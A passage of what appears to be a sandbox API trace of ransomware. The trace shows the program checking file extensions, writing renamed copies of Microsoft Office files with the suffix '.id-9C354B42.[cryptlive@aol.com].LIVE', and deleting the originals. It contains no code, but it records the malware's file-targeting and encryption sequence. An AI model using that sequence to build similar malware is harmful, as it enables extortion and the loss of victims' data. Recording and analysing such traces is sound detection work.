1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString=".doc") returned 4 [0142.824] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0142.824] lstrlenW (lpString=".docx") returned 5 [0142.824] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0142.824] lstrlenW (lpString=".pdf") returned 4 [0142.824] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString=".xls") returned 4 [0142.824] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString=".xlsx") returned 5 [0142.824] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0142.824] lstrlenW (lpString=".ppt") returned 4 [0142.824] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.824] lstrlenW (lpString=".zip") returned 4 [0142.824] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString=".rar") returned 4 [0142.824] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0142.824] lstrlenW (lpString=".bz2") returned 4 [0142.824] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0142.824] lstrlenW (lpString=".7z") returned 3 [0142.824] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0142.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.825] lstrlenW (lpString=".dbf") returned 4 [0142.825] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0142.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.825] lstrlenW (lpString=".1cd") returned 4 [0142.825] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0142.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0142.825] lstrlenW (lpString=".jpg") returned 4 [0142.825] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0142.825] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.825] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0142.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.825] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4750792) returned 1 [0142.825] CloseHandle (hObject=0x1e4) returned 1 [0142.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0x20 [0142.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0142.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.826] lstrlenW (lpString=".doc") returned 4 [0142.826] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.826] lstrlenW (lpString=".docx") returned 5 [0142.826] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0142.826] lstrlenW (lpString=".pdf") returned 4 [0142.826] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.826] lstrlenW (lpString=".xls") returned 4 [0142.826] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.826] lstrlenW (lpString=".xlsx") returned 5 [0142.826] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0142.826] lstrlenW (lpString=".ppt") returned 4 [0142.826] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.826] lstrlenW (lpString=".zip") returned 4 [0142.826] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.826] lstrlenW (lpString=".rar") returned 4 [0142.826] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.826] lstrlenW (lpString=".bz2") returned 4 [0142.826] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.826] lstrlenW (lpString=".7z") returned 3 [0142.826] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.826] lstrlenW (lpString=".dbf") returned 4 [0142.826] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".1cd") returned 4 [0142.827] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".jpg") returned 4 [0142.827] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".doc") returned 4 [0142.827] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString=".docx") returned 5 [0142.827] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0142.827] lstrlenW (lpString=".pdf") returned 4 [0142.827] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString=".xls") returned 4 [0142.827] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString=".xlsx") returned 5 [0142.827] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0142.827] lstrlenW (lpString=".ppt") returned 4 [0142.827] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".zip") returned 4 [0142.827] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString=".rar") returned 4 [0142.827] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0142.827] lstrlenW (lpString=".bz2") returned 4 [0142.827] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString=".7z") returned 3 [0142.827] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".dbf") returned 4 [0142.827] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".1cd") returned 4 [0142.827] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0142.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0142.827] lstrlenW (lpString=".jpg") returned 4 [0142.828] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0142.828] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0142.828] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0142.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0142.828] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=641) returned 1 [0142.828] CloseHandle (hObject=0x1e4) returned 1 [0142.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 0x20 [0143.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0143.189] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.189] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0143.190] GetLastError () returned 0x0 [0143.190] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x281, lpOverlapped=0x0) returned 1 [0143.232] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x290, lpOverlapped=0x0) returned 1 [0143.232] ReadFile (in: hFile=0x380, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.232] WriteFile (in: hFile=0x3ac, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0143.233] SetEndOfFile (hFile=0x3ac) returned 1 [0143.233] CloseHandle (hObject=0x3ac) returned 1 [0143.233] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.233] SetEndOfFile (hFile=0x380) returned 1 [0143.235] CloseHandle (hObject=0x380) returned 1 [0143.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.237] lstrlenW (lpString=".doc") returned 4 [0143.237] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.237] lstrlenW (lpString=".docx") returned 5 [0143.237] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.237] lstrlenW (lpString=".pdf") returned 4 [0143.237] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.237] lstrlenW (lpString=".xls") returned 4 [0143.237] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.237] lstrlenW (lpString=".xlsx") returned 5 [0143.237] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.237] lstrlenW (lpString=".ppt") returned 4 [0143.237] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.237] lstrlenW (lpString=".zip") returned 4 [0143.237] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.237] lstrlenW (lpString=".rar") returned 4 [0143.237] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.237] lstrlenW (lpString=".bz2") returned 4 [0143.237] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.237] lstrlenW (lpString=".7z") returned 3 [0143.237] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.237] lstrlenW (lpString=".dbf") returned 4 [0143.237] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.237] lstrlenW (lpString=".1cd") returned 4 [0143.238] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString=".jpg") returned 4 [0143.238] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString=".doc") returned 4 [0143.238] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0143.238] lstrlenW (lpString=".docx") returned 5 [0143.238] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0143.238] lstrlenW (lpString=".pdf") returned 4 [0143.238] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString=".xls") returned 4 [0143.238] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString=".xlsx") returned 5 [0143.238] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0143.238] lstrlenW (lpString=".ppt") returned 4 [0143.238] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString=".zip") returned 4 [0143.238] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString=".rar") returned 4 [0143.238] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0143.238] lstrlenW (lpString=".bz2") returned 4 [0143.238] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0143.238] lstrlenW (lpString=".7z") returned 3 [0143.238] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString=".dbf") returned 4 [0143.238] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.238] lstrlenW (lpString=".1cd") returned 4 [0143.238] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0143.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0143.239] lstrlenW (lpString=".jpg") returned 4 [0143.239] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0143.239] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0143.239] lstrlenW (lpString="MSTORE.HXS") returned 10 [0143.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0143.610] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=389716) returned 1 [0143.610] CloseHandle (hObject=0x3b4) returned 1 [0143.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 0x20 [0143.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0143.617] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.617] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0143.617] GetLastError () returned 0x0 [0143.617] ReadFile (in: hFile=0x328, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x5f254, lpOverlapped=0x0) returned 1 [0143.676] WriteFile (in: hFile=0x39c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x5f260, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x5f260, lpOverlapped=0x0) returned 1 [0143.683] ReadFile (in: hFile=0x328, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.683] WriteFile (in: hFile=0x39c, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0143.683] SetEndOfFile (hFile=0x39c) returned 1 [0143.683] CloseHandle (hObject=0x39c) returned 1 [0143.683] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.684] SetEndOfFile (hFile=0x328) returned 1 [0143.696] CloseHandle (hObject=0x328) returned 1 [0143.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0143.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 1 [0143.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.753] lstrlenW (lpString=".doc") returned 4 [0143.753] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0143.753] lstrlenW (lpString=".docx") returned 5 [0143.753] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0143.753] lstrlenW (lpString=".pdf") returned 4 [0143.753] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0143.753] lstrlenW (lpString=".xls") returned 4 [0143.753] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0143.753] lstrlenW (lpString=".xlsx") returned 5 [0143.753] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0143.753] lstrlenW (lpString=".ppt") returned 4 [0143.754] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString=".zip") returned 4 [0143.754] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString=".rar") returned 4 [0143.754] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString=".bz2") returned 4 [0143.754] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0143.754] lstrlenW (lpString=".7z") returned 3 [0143.754] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString=".dbf") returned 4 [0143.754] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString=".1cd") returned 4 [0143.754] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString=".jpg") returned 4 [0143.754] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.754] lstrlenW (lpString=".doc") returned 4 [0143.754] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0143.754] lstrlenW (lpString=".docx") returned 5 [0143.754] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1 [0143.754] lstrlenW (lpString=".pdf") returned 4 [0143.754] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString=".xls") returned 4 [0143.754] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString=".xlsx") returned 5 [0143.754] lstrcmpiW (lpString1=".xlsx", lpString2="E.HXS") returned -1 [0143.754] lstrlenW (lpString=".ppt") returned 4 [0143.754] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0143.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.755] lstrlenW (lpString=".zip") returned 4 [0143.755] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0143.755] lstrlenW (lpString=".rar") returned 4 [0143.755] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0143.755] lstrlenW (lpString=".bz2") returned 4 [0143.755] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0143.755] lstrlenW (lpString=".7z") returned 3 [0143.755] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0143.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.755] lstrlenW (lpString=".dbf") returned 4 [0143.755] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0143.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.755] lstrlenW (lpString=".1cd") returned 4 [0143.755] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0143.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58 [0143.755] lstrlenW (lpString=".jpg") returned 4 [0143.755] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0143.755] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0143.755] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0143.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0143.819] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=529280) returned 1 [0143.819] CloseHandle (hObject=0x1ec) returned 1 [0143.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll")) returned 0x20 [0143.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0143.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 